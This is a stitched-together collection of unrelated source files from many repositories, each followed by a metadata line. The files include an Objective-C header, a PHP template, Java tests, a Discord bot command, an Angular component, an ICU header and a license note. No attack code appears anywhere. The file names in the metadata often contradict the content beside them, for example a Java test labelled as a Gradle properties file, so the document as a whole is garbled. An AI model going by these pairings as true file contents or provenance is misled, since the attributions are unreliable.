file://localhost/home/woodstock/hyperion/docs/lurk/credits/030.html 6. file://localhost/home/woodstock/hyperion/docs/lurk/episodes.php 7. file://localhost/home/woodstock/hyperion/docs/lurk/guide/029.html 8. file://localhost/home/woodstock/hyperion/docs/lurk/guide/031.html 9. file://localhost/home/woodstock/hyperion/docs/lurk/guide/030.html#OV 10. file://localhost/home/woodstock/hyperion/docs/lurk/guide/030.html#BP 11. file://localhost/home/woodstock/hyperion/docs/lurk/guide/030.html#UQ 12. file://localhost/home/woodstock/hyperion/docs/lurk/guide/030.html#AN 13. file://localhost/home/woodstock/hyperion/docs/lurk/guide/030.html#NO 14. file://localhost/home/woodstock/hyperion/docs/lurk/guide/030.html#JS 15. http://us.imdb.com/M/person-exact?+Koenig,+Walter 16. file://localhost/lurk/p5/intro.html 17. file://localhost/lurk/p5/030 18. file://localhost/home/woodstock/hyperion/docs/lurk/guide/029.html 19. file://localhost/home/woodstock/hyperion/docs/lurk/guide/006.html 20. file://localhost/home/woodstock/hyperion/docs/lurk/guide/006.html 21. file://localhost/home/woodstock/hyperion/docs/lurk/guide/020.html 22. file://localhost/home/woodstock/hyperion/docs/lurk/guide/022.html 23. file://localhost/home/woodstock/hyperion/docs/lurk/guide/022.html 24. file://localhost/home/woodstock/hyperion/docs/lurk/guide/024.html 25. file://localhost/lurk/lurker.html 26. file://localhost/home/woodstock/hyperion/docs/lurk/guide/030.html#TOP 27. file://localhost/cgi-bin/uncgi/lgmail 28. file://localhost/home/woodstock/hyperion/docs/lurk/episodes.php 29. file://localhost/home/woodstock/hyperion/docs/lurk/guide/029.html 30. file://localhost/home/woodstock/hyperion/docs/lurk/guide/031.html 31. file://localhost/lurk/lastmod.html
{'repo_name': 'sgrimm/lurkers-guide', 'stars': '113', 'repo_language': 'HTML', 'file_name': 'sum-66', 'mime_type': 'text/plain', 'hash': -8525457935502615818, 'source_dataset': 'data'}
// // UIGestureRecognizer+Blocks.h // FLEX // // Created by Tanner Bennett on 12/20/19. // Copyright © 2019 Flipboard. All rights reserved. // #import <UIKit/UIKit.h> typedef void (^GestureBlock)(UIGestureRecognizer *gesture); @interface UIGestureRecognizer (Blocks) + (instancetype)action:(GestureBlock)action; @property (nonatomic) GestureBlock action; @end
{'repo_name': 'Flipboard/FLEX', 'stars': '11675', 'repo_language': 'Objective-C', 'file_name': 'FLEX.xcscheme', 'mime_type': 'text/xml', 'hash': 1225345961077322165, 'source_dataset': 'data'}
<div id="sitebody"> <div id="header-wrapper"> <div id="header"> <div class="header-in"> <div class="left"> <div class="logo"> <h1> <a href="index.php" title="{#desktop#}"> <img src="./templates/{$settings.template}/theme/{$settings.theme}/images/logo-b.png" alt="" /> </a> <span class="title">{$settings.name} <span class="subtitle"> {if $settings.subtitle}/ {$settings.subtitle} {/if} </span> </span> </h1> </div> </div> {* left END *} <div class="right"> {if $loggedin == 1} <ul id="mainmenue"> <li class="desktop"> <a class="{$mainclasses.desktop}" href="index.php"><span>{#desktop#}</span></a> </li> {if $usergender == "f"} <li class="profil-female"> <a class="{$mainclasses.profil}" href="manageuser.php?action=profile&amp;id={$userid}"><span>{#myaccount#}</span></a> </li> {else} <li class="profil-male"> <a class="{$mainclasses.profil}" href="manageuser.php?action=profile&amp;id={$userid}"><span>{#myaccount#}</span></a> </li> {/if} {if $userpermissions.admin.add} <li class="admin"> <a class="{$mainclasses.admin}" href="admin.php?action=projects"><span>{#administration#}</span><span class="submenarrow"></span></a> <div class="submen"> <ul> <li class="project-settings"><a class="{$classes.overview|default}" href="admin.php?action=projects"><span>{#projectadministration#}</span></a></li> <li class="customer-settings"><a class="{$classes.customer|default}" href="admin.php?action=customers"><span>{#customeradministration#}</span></a></li> <li class="user-settings"><a class="{$classes.users|default}" href="admin.php?action=users"><span>{#useradministration#}</span></a></li> <li class="system-settings"><a class="{$classes.system|default}" href="admin.php?action=system"><span>{#systemadministration#}</span></a></li> </ul> </div> </li> {/if} <li class="logout"><a href="manageuser.php?action=logout"><span>{#logout#}</span></a></li> </ul> {/if} </div> <!-- right END --> </div> <!-- header-in END --> </div> <!-- header END --> </div> <!-- header-wrapper END --> <div id="contentwrapper">
{'repo_name': 'philippK-de/Collabtive', 'stars': '190', 'repo_language': 'PHP', 'file_name': 'test.tpl', 'mime_type': 'text/plain', 'hash': 2779668995594224368, 'source_dataset': 'data'}
#vue_app[ data-resource_type=resource.class.name data-entry_id=resource.id data-entry_type=resource.class.base_class.name data-values=resource.desynced.to_json data-field='desynced' ] .block_m.b-nothing_here = t 'loading'
{'repo_name': 'shikimori/shikimori', 'stars': '136', 'repo_language': 'Ruby', 'file_name': 'config.yml', 'mime_type': 'text/plain', 'hash': -5525769248679784175, 'source_dataset': 'data'}
/** * oscP5multicast by andreas schlegel * example shows how to send osc via a multicast socket. * what is a multicast? http://en.wikipedia.org/wiki/Multicast * ip multicast ranges and uses: * 224.0.0.0 - 224.0.0.255 Reserved for special Òwell-knownÓ multicast addresses. * 224.0.1.0 - 238.255.255.255 Globally-scoped (Internet-wide) multicast addresses. * 239.0.0.0 - 239.255.255.255 Administratively-scoped (local) multicast addresses. * oscP5 website at http://www.sojamo.de/oscP5 */ import oscP5.*; import netP5.*; OscP5 oscP5; void setup() { size(400,400); frameRate(25); /* create a new instance of oscP5 using a multicast socket. */ oscP5 = new OscP5(this,"239.0.0.1",7777); } void draw() { background(0); } void mousePressed() { /* create a new OscMessage with an address pattern, in this case /test. */ OscMessage myOscMessage = new OscMessage("/test"); /* add a value (an integer) to the OscMessage */ myOscMessage.add(100); /* send the OscMessage to the multicast group. * the multicast group netAddress is the default netAddress, therefore * you dont need to specify a NetAddress to send the osc message. */ oscP5.send(myOscMessage); } /* incoming osc message are forwarded to the oscEvent method. */ void oscEvent(OscMessage theOscMessage) { /* print the address pattern and the typetag of the received OscMessage */ print("### received an osc message."); print(" addrpattern: "+theOscMessage.addrPattern()); println(" typetag: "+theOscMessage.typetag()); }
{'repo_name': 'sojamo/oscp5', 'stars': '103', 'repo_language': 'Java', 'file_name': 'ExampleTaglet.java', 'mime_type': 'text/html', 'hash': 2166681961730847789, 'source_dataset': 'data'}
/* * See the NOTICE file distributed with this work for additional * information regarding copyright ownership. * * This is free software; you can redistribute it and/or modify it * under the terms of the GNU Lesser General Public License as * published by the Free Software Foundation; either version 2.1 of * the License, or (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this software; if not, write to the Free * Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA * 02110-1301 USA, or see the FSF site: http://www.fsf.org. */ package org.xwiki.annotation.internal.content; import java.util.Map; import org.xwiki.annotation.content.AlteredContent; /** * Offsets maps based implementation of the {@link AlteredContent}. * * @version $Id: 8d7a2b57b0dc5ec9a8bfd5dc42a903e55feaa72a $ * @since 2.3M1 */ public class OffsetsMapAlteredContent implements AlteredContent { /** * The actual character sequence representing the altered content. */ private final CharSequence content; /** * The offsets map for translating initial offsets to altered offsets. */ private final Map<Integer, Integer> initialToAltered; /** * The offsets map for translating the altered offsets to the initial offsets. */ private final Map<Integer, Integer> alteredToInitial; /** * The initial size of the content. */ private final int size; /** * Builds an altered content from the passed maps. * * @param content actual character sequence representing the altered content * @param size initial size of the content * @param initialToAltered offsets map for translating initial offsets to altered offsets * @param alteredToInitial offsets map for translating the altered offsets to the initial offsets */ public OffsetsMapAlteredContent(CharSequence content, int size, Map<Integer, Integer> initialToAltered, Map<Integer, Integer> alteredToInitial) { this.content = content; this.initialToAltered = initialToAltered; this.alteredToInitial = alteredToInitial; this.size = size; } @Override public CharSequence getContent() { return content; } @Override public int getInitialOffset(int i) { Integer result = alteredToInitial.get(i); if (result == null) { throw new IllegalArgumentException(); } return result; } @Override public int getAlteredOffset(int i) { Integer result = initialToAltered.get(i); if (result == null) { throw new IllegalArgumentException(); } return result; } @Override public int getInitialLength() { return size; } }
{'repo_name': 'xwiki/xwiki-platform', 'stars': '542', 'repo_language': 'Java', 'file_name': 'pom.xml', 'mime_type': 'text/xml', 'hash': -3714071072907638161, 'source_dataset': 'data'}
INCLUDE(CMakeForceCompiler) SET (CMAKE_CROSSCOMPILING TRUE) SET (CMAKE_SYSTEM_NAME "Darwin") SET (CMAKE_SYSTEM_PROCESSOR "arm64e") SET (IOS TRUE) SET (IOS_SDK_DEVICE iPhoneOS) SET (SDKVER "${IOS_SDK_VERSION}") SET (DEVROOT "${XCODE_ROOT_DIR}/Platforms/${IOS_SDK_DEVICE}.platform/Developer") SET (CMAKE_FIND_ROOT_PATH "${SDKROOT}" "${DEVROOT}") SET (CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER) SET (CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY) SET (CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)
{'repo_name': 'google/filament', 'stars': '9465', 'repo_language': 'C++', 'file_name': 'iOS.cmake', 'mime_type': 'text/plain', 'hash': -635393836989869933, 'source_dataset': 'data'}
const Command = require('../../structures/Command'); const { MessageEmbed } = require('discord.js'); const request = require('node-superfetch'); const { shorten, formatNumber } = require('../../util/Util'); const { TMDB_KEY } = process.env; module.exports = class TvShowCommand extends Command { constructor(client) { super(client, { name: 'tv-show', aliases: ['tmdb-tv-show', 'tv', 'tmdb-tv'], group: 'search', memberName: 'tv-show', description: 'Searches TMDB for your query, getting TV show results.', clientPermissions: ['EMBED_LINKS'], credit: [ { name: 'The Movie Database', url: 'https://www.themoviedb.org/', reason: 'API', reasonURL: 'https://www.themoviedb.org/documentation/api' } ], args: [ { key: 'query', prompt: 'What TV show would you like to search for?', type: 'string' } ] }); } async run(msg, { query }) { try { const search = await request .get('http://api.themoviedb.org/3/search/tv') .query({ api_key: TMDB_KEY, include_adult: msg.channel.nsfw || false, query }); if (!search.body.results.length) return msg.say('Could not find any results.'); const find = search.body.results.find( m => m.name.toLowerCase() === query.toLowerCase() ) || search.body.results[0]; const { body } = await request .get(`https://api.themoviedb.org/3/tv/${find.id}`) .query({ api_key: TMDB_KEY }); const embed = new MessageEmbed() .setColor(0x00D474) .setTitle(body.name) .setURL(`https://www.themoviedb.org/tv/${body.id}`) .setAuthor('TMDB', 'https://i.imgur.com/3K3QMv9.png', 'https://www.themoviedb.org/') .setDescription(body.overview ? shorten(body.overview) : 'No description available.') .setThumbnail(body.poster_path ? `https://image.tmdb.org/t/p/w500${body.poster_path}` : null) .addField('❯ First Air Date', body.first_air_date || '???', true) .addField('❯ Last Air Date', body.last_air_date || '???', true) .addField('❯ Seasons', body.number_of_seasons ? formatNumber(body.number_of_seasons) : '???', true) .addField('❯ Episodes', body.number_of_episodes ? formatNumber(body.number_of_episodes) : '???', true) .addField('❯ Genres', body.genres.length ? body.genres.map(genre => genre.name).join(', ') : '???') .addField('❯ Production Companies', body.production_companies.length ? body.production_companies.map(c => c.name).join(', ') : '???'); return msg.embed(embed); } catch (err) { return msg.reply(`Oh no, an error occurred: \`${err.message}\`. Try again later!`); } } };
{'repo_name': 'dragonfire535/xiao', 'stars': '154', 'repo_language': 'JavaScript', 'file_name': 'cleverbot.js', 'mime_type': 'text/plain', 'hash': -7905082412714241002, 'source_dataset': 'data'}
import UIKit class SceneDelegate: UIResponder, UIWindowSceneDelegate { var window: UIWindow? }
{'repo_name': 'mattneub/Programming-iOS-Book-Examples', 'stars': '2276', 'repo_language': 'Swift', 'file_name': 'LaunchScreen.xib', 'mime_type': 'text/xml', 'hash': 5191153634738112134, 'source_dataset': 'data'}
/** * Copyright 2011-2019 Asakusa Framework Team. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.asakusafw.windgate.core.util; import static org.hamcrest.Matchers.*; import static org.junit.Assert.*; import java.util.HashMap; import java.util.Map; import java.util.Properties; import org.junit.Test; /** * Test for {@link PropertiesUtil}. */ public class PropertiesUtilTest { /** * Test method for {@link PropertiesUtil#createPrefixMap(java.util.Map, java.lang.String)}. */ @Test public void createPrefixMap() { Properties properties = new Properties(); properties.put("abcde", "abcde"); properties.put("abc0", "abc0"); properties.put("abc", "abc"); properties.put("ab", "ab"); properties.put("abbde", "abbde"); properties.put("abd", "abd"); properties.put("bcdef", "bcdef"); char[] array = "abc[]".toCharArray(); properties.put(array, "abc[]"); properties.put("abc[]", array); Map<String, String> answer = new HashMap<>(); answer.put("de", "abcde"); answer.put("0", "abc0"); answer.put("", "abc"); assertThat(PropertiesUtil.createPrefixMap(properties, "abc"), is(answer)); } /** * Test method for {@link PropertiesUtil#removeKeyPrefix(java.util.Properties, java.lang.String)}. */ @Test public void removeKeyPrefix() { Properties properties = new Properties(); properties.put("abcde", "abcde"); properties.put("abc0", "abc0"); properties.put("abc", "abc"); properties.put("ab", "ab"); properties.put("abbde", "abbde"); properties.put("abd", "abd"); properties.put("bcdef", "bcdef"); char[] array = "abc[]".toCharArray(); properties.put(array, "abc[]"); properties.put("abc[]", array); Properties answer = new Properties(); answer.put("ab", "ab"); answer.put("abbde", "abbde"); answer.put("abd", "abd"); answer.put("bcdef", "bcdef"); answer.put(array, "abc[]"); PropertiesUtil.removeKeyPrefix(properties, "abc"); assertThat(properties, is(answer)); } /** * Test method for {@link PropertiesUtil#checkAbsentKey(java.util.Properties, java.lang.String)}. */ @Test public void checkAbsentKey() { Properties properties = new Properties(); properties.put("abcde", "abcde"); properties.put("abc0", "abc0"); properties.put("ab", "ab"); properties.put("abd", "ab"); char[] array = "abc".toCharArray(); properties.put(array, "abc"); PropertiesUtil.checkAbsentKey(properties, "abc"); try { properties.put("abc", "abc"); PropertiesUtil.checkAbsentKey(properties, "abc"); fail(); } catch (IllegalArgumentException e) { // ok. } } /** * Test method for {@link PropertiesUtil#checkAbsentKeyPrefix(java.util.Properties, java.lang.String)}. */ @Test public void testCheckAbsentKeyPrefix() { Properties properties = new Properties(); properties.put("ab", "ab"); properties.put("abbde", "abbde"); properties.put("abd", "abd"); properties.put("bcdef", "bcdef"); char[] array = "abc[]".toCharArray(); properties.put(array, "abc[]"); PropertiesUtil.checkAbsentKeyPrefix(properties, "abc"); try { properties.put("abc", "abc"); PropertiesUtil.checkAbsentKeyPrefix(properties, "abc"); fail(); } catch (IllegalArgumentException e) { // ok. properties.remove("abc"); } try { properties.put("abcde", "abcde"); PropertiesUtil.checkAbsentKeyPrefix(properties, "abc"); fail(); } catch (IllegalArgumentException e) { // ok. properties.remove("abcde"); } } }
{'repo_name': 'asakusafw/asakusafw', 'stars': '113', 'repo_language': 'Java', 'file_name': 'gradle-wrapper.properties', 'mime_type': 'text/plain', 'hash': -2395590909413065716, 'source_dataset': 'data'}
{ "name": "VUble", "displayName": "VUble", "properties": [ "mediabong.co.uk", "mediabong.com", "mediabong.net", "vuble.fr", "vuble.tv" ], "prevalence": { "tracking": 0, "nonTracking": 0.0000441, "total": 0.0000441 } }
{'repo_name': 'duckduckgo/tracker-radar', 'stars': '478', 'repo_language': 'None', 'file_name': 'Avis Budget Group.json', 'mime_type': 'text/plain', 'hash': -67068400581094015, 'source_dataset': 'data'}
import * as R from "@effect-ts/system/Record" import { flow, tuple } from "../../../Function" import * as P from "../../Prelude" import {} from "../../Prelude/HKT" import * as A from "../Array" export const RecordURI = "RecordURI" export type RecordURI = typeof RecordURI declare module "../../Prelude/HKT" { export interface URItoKind<D, N extends string, K, SI, SO, X, I, S, R, E, A> { [RecordURI]: R.Record<N, A> } } export const Covariant = P.instance<P.Covariant<RecordURI>>({ map: R.map }) export const foreachF = P.implementForeachF<RecordURI>()((_) => (G) => (f) => flow( R.collect(tuple), A.foreachF(G)(([k, a]) => G.map((b) => tuple(k, b))(f(a))), G.map( A.reduce({} as R.Record<typeof _.N, typeof _.B>, (b, [k, v]) => Object.assign(b, { [k]: v }) ) ) ) ) export const Traversable = P.instance<P.Traversable<RecordURI>>({ map: R.map, foreachF })
{'repo_name': 'Matechs-Garage/matechs-effect', 'stars': '198', 'repo_language': 'TypeScript', 'file_name': 'launch.json', 'mime_type': 'text/plain', 'hash': 8694480860243409112, 'source_dataset': 'data'}
// © 2016 and later: Unicode, Inc. and others. // License & terms of use: http://www.unicode.org/copyright.html /* ******************************************************************************* * Copyright (C) 2013-2014, International Business Machines * Corporation and others. All Rights Reserved. ******************************************************************************* * collationtailoring.h * * created on: 2013mar12 * created by: Markus W. Scherer */ #ifndef __COLLATIONTAILORING_H__ #define __COLLATIONTAILORING_H__ #include "unicode/utypes.h" #if !UCONFIG_NO_COLLATION #include "unicode/locid.h" #include "unicode/unistr.h" #include "unicode/uversion.h" #include "collationsettings.h" #include "uhash.h" #include "umutex.h" struct UDataMemory; struct UResourceBundle; struct UTrie2; U_NAMESPACE_BEGIN struct CollationData; class UnicodeSet; /** * Collation tailoring data & settings. * This is a container of values for a collation tailoring * built from rules or deserialized from binary data. * * It is logically immutable: Do not modify its values. * The fields are public for convenience. * * It is shared, reference-counted, and auto-deleted; see SharedObject. */ struct U_I18N_API CollationTailoring : public SharedObject { CollationTailoring(const CollationSettings *baseSettings); virtual ~CollationTailoring(); /** * Returns TRUE if the constructor could not initialize properly. */ UBool isBogus() { return settings == NULL; } UBool ensureOwnedData(UErrorCode &errorCode); static void makeBaseVersion(const UVersionInfo ucaVersion, UVersionInfo version); void setVersion(const UVersionInfo baseVersion, const UVersionInfo rulesVersion); int32_t getUCAVersion() const; // data for sorting etc. const CollationData *data; // == base data or ownedData const CollationSettings *settings; // reference-counted UnicodeString rules; // The locale is bogus when built from rules or constructed from a binary blob. // It can then be set by the service registration code which is thread-safe. mutable Locale actualLocale; // UCA version u.v.w & rules version r.s.t.q: // version[0]: builder version (runtime version is mixed in at runtime) // version[1]: bits 7..3=u, bits 2..0=v // version[2]: bits 7..6=w, bits 5..0=r // version[3]= (s<<5)+(s>>3)+t+(q<<4)+(q>>4) UVersionInfo version; // owned objects CollationData *ownedData; UObject *builder; UDataMemory *memory; UResourceBundle *bundle; UTrie2 *trie; UnicodeSet *unsafeBackwardSet; mutable UHashtable *maxExpansions; mutable UInitOnce maxExpansionsInitOnce; private: /** * No copy constructor: A CollationTailoring cannot be copied. * It is immutable, and the data trie cannot be copied either. */ CollationTailoring(const CollationTailoring &other); }; struct CollationCacheEntry : public SharedObject { CollationCacheEntry(const Locale &loc, const CollationTailoring *t) : validLocale(loc), tailoring(t) { if(t != NULL) { t->addRef(); } } ~CollationCacheEntry(); Locale validLocale; const CollationTailoring *tailoring; }; U_NAMESPACE_END #endif // !UCONFIG_NO_COLLATION #endif // __COLLATIONTAILORING_H__
{'repo_name': 'openjdk/jfx', 'stars': '627', 'repo_language': 'C++', 'file_name': 'Makefile-Debug.mk', 'mime_type': 'text/x-makefile', 'hash': -1802144202409812906, 'source_dataset': 'data'}
package com.ofsoft.cms.core.api.check; import java.util.regex.Pattern; /** * 数字检验 * @author OF * @version v1.0 * @className NumberCheck * @date 2018/8/24 */ public class NumberCheck extends AbstractCheck { @Override public String errorMsg(){ return "不是正确的数字类型"; } @Override public boolean check(String value) { return Pattern.matches("^[1-9][0-9]\\d*$", value); } }
{'repo_name': 'cn-panda/JavaCodeAudit', 'stars': '164', 'repo_language': 'JavaScript', 'file_name': 'org.eclipse.wst.common.project.facet.core.xml', 'mime_type': 'text/xml', 'hash': -6771660471435553264, 'source_dataset': 'data'}
/** * SPDX-FileCopyrightText: © 2019 Liferay, Inc. <https://liferay.com> * SPDX-License-Identifier: BSD-3-Clause */ import {LRUCache} from '../LRUCache'; let cache: LRUCache<string, {}>; describe('LRUCache', () => { beforeEach(() => { cache = new LRUCache(3); }); it('throws an error if initialized with maxSize 0', () => { expect(() => new LRUCache(0)).toThrow(/non-negative number/); }); it('throws an error if initialized with a negative maxSize', () => { expect(() => new LRUCache(-10)).toThrow(/non-negative number/); }); it('returns new storage when cache is reset', () => { expect(cache.reset().size).toBe(0); }); it('returns undefined for undefined key', () => { expect(cache.get('foo')).toBe(undefined); }); it('returns value for present value', () => { cache.set('foo', 'f'); expect(cache.get('foo')).toBe('f'); }); it('returns undefined for key less used beyond cache capacity', () => { cache.set('foo', 'f'); cache.set('bar', 'b'); cache.set('baz', 'bz'); cache.get('foo'); cache.set('qux', 'q'); expect(cache.get('qux')).toBe('q'); expect(cache.get('baz')).toBe('bz'); expect(cache.get('bar')).toBe(undefined); expect(cache.get('foo')).toBe('f'); }); });
{'repo_name': 'liferay/clay', 'stars': '141', 'repo_language': 'HTML', 'file_name': 'index.html', 'mime_type': 'text/html', 'hash': -5975467172491644172, 'source_dataset': 'data'}
/* * Copyright @ 2008 Quan Nguyen * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package net.sourceforge.tess4j.util; import com.recognition.software.jdeskew.ImageDeskew; import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import java.util.List; import java.util.Map; import javax.imageio.IIOImage; import javax.imageio.ImageIO; import org.junit.After; import org.junit.AfterClass; import org.junit.Before; import org.junit.BeforeClass; import org.junit.Test; import static org.junit.Assert.*; import org.slf4j.Logger; import org.slf4j.LoggerFactory; public class ImageIOHelperTest { private static final Logger logger = LoggerFactory.getLogger(new LoggHelper().toString()); private static final String TEST_RESOURCES_DATA_PATH = "src/test/resources/test-data/"; private static final String TEST_RESOURCES_RESULTS_PATH = "src/test/resources/test-results/"; private static final double MINIMUM_DESKEW_THRESHOLD = 0.05d; public ImageIOHelperTest() { } @BeforeClass public static void setUpClass() { } @AfterClass public static void tearDownClass() { } @Before public void setUp() { } @After public void tearDown() { } /** * Test of createTiffFiles method, of class ImageIOHelper. * @throws java.lang.Exception */ @Test public void testCreateTiffFiles_File_int() throws Exception { logger.info("createTiffFiles"); File imageFile = new File(TEST_RESOURCES_DATA_PATH, "eurotext.png"); int index = 0; int expResult = 1; List<File> result = ImageIOHelper.createTiffFiles(imageFile, index); assertEquals(expResult, result.size()); // cleanup for (File f : result) { f.delete(); } } /** * Test of getImageFileFormat method, of class ImageIOHelper. */ @Test public void testGetImageFileFormat() { logger.info("getImageFileFormat"); File imageFile = new File(TEST_RESOURCES_DATA_PATH, "eurotext.png"); String expResult = "png"; String result = ImageIOHelper.getImageFileFormat(imageFile); assertEquals(expResult, result); } /** * Test of getImageFile method, of class ImageIOHelper. * @throws java.lang.Exception */ @Test public void testGetImageFile() throws Exception { logger.info("getImageFile"); File inputFile = new File(TEST_RESOURCES_DATA_PATH, "eurotext.png"); File expResult = new File(TEST_RESOURCES_DATA_PATH, "eurotext.png"); File result = ImageIOHelper.getImageFile(inputFile); assertEquals(expResult, result); } /** * Test of getImageList method, of class ImageIOHelper. * @throws java.lang.Exception */ @Test public void testGetImageList() throws Exception { logger.info("getImageList"); File imageFile = new File(TEST_RESOURCES_DATA_PATH, "eurotext.pdf"); int expResult = 1; List<BufferedImage> result = ImageIOHelper.getImageList(imageFile); assertEquals(expResult, result.size()); } /** * Test of getIIOImageList method, of class ImageIOHelper. * @throws java.lang.Exception */ @Test public void testGetIIOImageList_File() throws Exception { logger.info("getIIOImageList"); File imageFile = new File(TEST_RESOURCES_DATA_PATH, "eurotext.pdf"); int expResult = 1; List<IIOImage> result = ImageIOHelper.getIIOImageList(imageFile); assertEquals(expResult, result.size()); } /** * Test of getIIOImageList method, of class ImageIOHelper. * @throws java.lang.Exception */ @Test public void testGetIIOImageList_BufferedImage() throws Exception { logger.info("getIIOImageList"); File imageFile = new File(TEST_RESOURCES_DATA_PATH, "eurotext.png"); BufferedImage bi = ImageIO.read(imageFile); int expResult = 1; List<IIOImage> result = ImageIOHelper.getIIOImageList(bi); assertEquals(expResult, result.size()); } /** * Test of mergeTiff method, of class ImageIOHelper. * @throws java.lang.Exception */ @Test public void testMergeTiff_FileArr_File() throws Exception { logger.info("mergeTiff"); File imageFile1 = new File(TEST_RESOURCES_DATA_PATH, "eurotext.png"); // filesize: 14,854 bytes File imageFile2 = new File(TEST_RESOURCES_DATA_PATH, "eurotext_deskew.png"); // filesize: 204,383 bytes File[] inputImages = {imageFile1, imageFile2}; File outputTiff = new File(TEST_RESOURCES_RESULTS_PATH, "mergedTiff.tif"); long expResult = 224337L; // filesize: 224,337 bytes ImageIOHelper.mergeTiff(inputImages, outputTiff); assertEquals(expResult, outputTiff.length()); } /** * Test of deskewImage method, of class ImageIOHelper. * @throws java.lang.Exception */ @Test public void testDeskewImage() throws Exception { logger.info("deskewImage"); File imageFile = new File(TEST_RESOURCES_DATA_PATH, "eurotext_deskew.png"); double minimumDeskewThreshold = MINIMUM_DESKEW_THRESHOLD; double initAngle = new ImageDeskew(ImageIO.read(imageFile)).getSkewAngle(); File result = ImageIOHelper.deskewImage(imageFile, minimumDeskewThreshold); double resultAngle = new ImageDeskew(ImageIO.read(result)).getSkewAngle(); assertTrue(Math.abs(resultAngle) < Math.abs(initAngle)); // cleanup result.delete(); } /** * Test of readImageData method, of class ImageIOHelper. * @throws java.io.IOException */ @Test public void testReadImageData() throws IOException { logger.info("readImageData"); File imageFile = new File(TEST_RESOURCES_DATA_PATH, "eurotext.png"); List<IIOImage> oimages = ImageIOHelper.getIIOImageList(imageFile); IIOImage oimage = oimages.get(0); int expResultDpiX = 300; int expResultDpiY = 300; Map<String, String> result = ImageIOHelper.readImageData(oimage); assertEquals(String.valueOf(expResultDpiX), result.get("dpiX")); assertEquals(String.valueOf(expResultDpiY), result.get("dpiY")); } }
{'repo_name': 'nguyenq/tess4j', 'stars': '861', 'repo_language': 'Java', 'file_name': 'PdfUtilitiesTest.java', 'mime_type': 'text/x-java', 'hash': -1564071256062837868, 'source_dataset': 'data'}
import { Component, OnInit, OnDestroy } from '@angular/core'; import { ActivatedRoute, ParamMap, Router } from '@angular/router'; import { BisqTransaction } from 'src/app/bisq/bisq.interfaces'; import { switchMap, map, catchError } from 'rxjs/operators'; import { of, Observable, Subscription } from 'rxjs'; import { StateService } from 'src/app/services/state.service'; import { Block, Transaction } from 'src/app/interfaces/electrs.interface'; import { BisqApiService } from '../bisq-api.service'; import { SeoService } from 'src/app/services/seo.service'; import { ElectrsApiService } from 'src/app/services/electrs-api.service'; import { HttpErrorResponse } from '@angular/common/http'; @Component({ selector: 'app-bisq-transaction', templateUrl: './bisq-transaction.component.html', styleUrls: ['./bisq-transaction.component.scss'] }) export class BisqTransactionComponent implements OnInit, OnDestroy { bisqTx: BisqTransaction; tx: Transaction; latestBlock$: Observable<Block>; txId: string; price: number; isLoading = true; isLoadingTx = true; error = null; subscription: Subscription; constructor( private route: ActivatedRoute, private bisqApiService: BisqApiService, private electrsApiService: ElectrsApiService, private stateService: StateService, private seoService: SeoService, private router: Router, ) { } ngOnInit(): void { this.subscription = this.route.paramMap.pipe( switchMap((params: ParamMap) => { this.isLoading = true; this.isLoadingTx = true; this.error = null; document.body.scrollTo(0, 0); this.txId = params.get('id') || ''; this.seoService.setTitle('Transaction: ' + this.txId); if (history.state.data) { return of(history.state.data); } return this.bisqApiService.getTransaction$(this.txId) .pipe( catchError((bisqTxError: HttpErrorResponse) => { if (bisqTxError.status === 404) { return this.electrsApiService.getTransaction$(this.txId) .pipe( map((tx) => { if (tx.status.confirmed) { this.error = { status: 200, statusText: 'Transaction is confirmed but not available in the Bisq database, please try reloading this page.' }; return null; } return tx; }), catchError((txError: HttpErrorResponse) => { console.log(txError); this.error = txError; return of(null); }) ); } this.error = bisqTxError; return of(null); }) ); }), switchMap((tx) => { if (!tx) { return of(null); } if (tx.version) { this.router.navigate(['/tx/', this.txId], { state: { data: tx, bsqTx: true }}); return of(null); } this.bisqTx = tx; this.isLoading = false; return this.electrsApiService.getTransaction$(this.txId); }), ) .subscribe((tx) => { this.isLoadingTx = false; if (!tx) { return; } this.tx = tx; }, (error) => { this.error = error; }); this.latestBlock$ = this.stateService.blocks$.pipe(map((([block]) => block))); this.stateService.bsqPrice$ .subscribe((bsqPrice) => { this.price = bsqPrice; }); } ngOnDestroy() { this.subscription.unsubscribe(); } }
{'repo_name': 'mempool/mempool', 'stars': '135', 'repo_language': 'TypeScript', 'file_name': 'mempool-config.testnet.json', 'mime_type': 'text/plain', 'hash': -4113529707701798959, 'source_dataset': 'data'}
PLY point cloud files in this directory are created by Geoffrey Marchal. These files are licensed under the Creative Commons Attribution license (CC BY 4.0). Please see the following pages for further details. Geoffrey Marchal's home https://sketchfab.com/geoffreymarchal Guanyin.ply - Guanyin (Avalokitesvara) https://sketchfab.com/models/9db9a5dfb6744a5586dfcb96cb8a7dc5 Creative Commons Attribution license (CC BY 4.0) https://creativecommons.org/licenses/by/4.0/
{'repo_name': 'keijiro/Pcx', 'stars': '662', 'repo_language': 'C#', 'file_name': 'AudioManager.asset', 'mime_type': 'text/plain', 'hash': -8278285176084164229, 'source_dataset': 'data'}
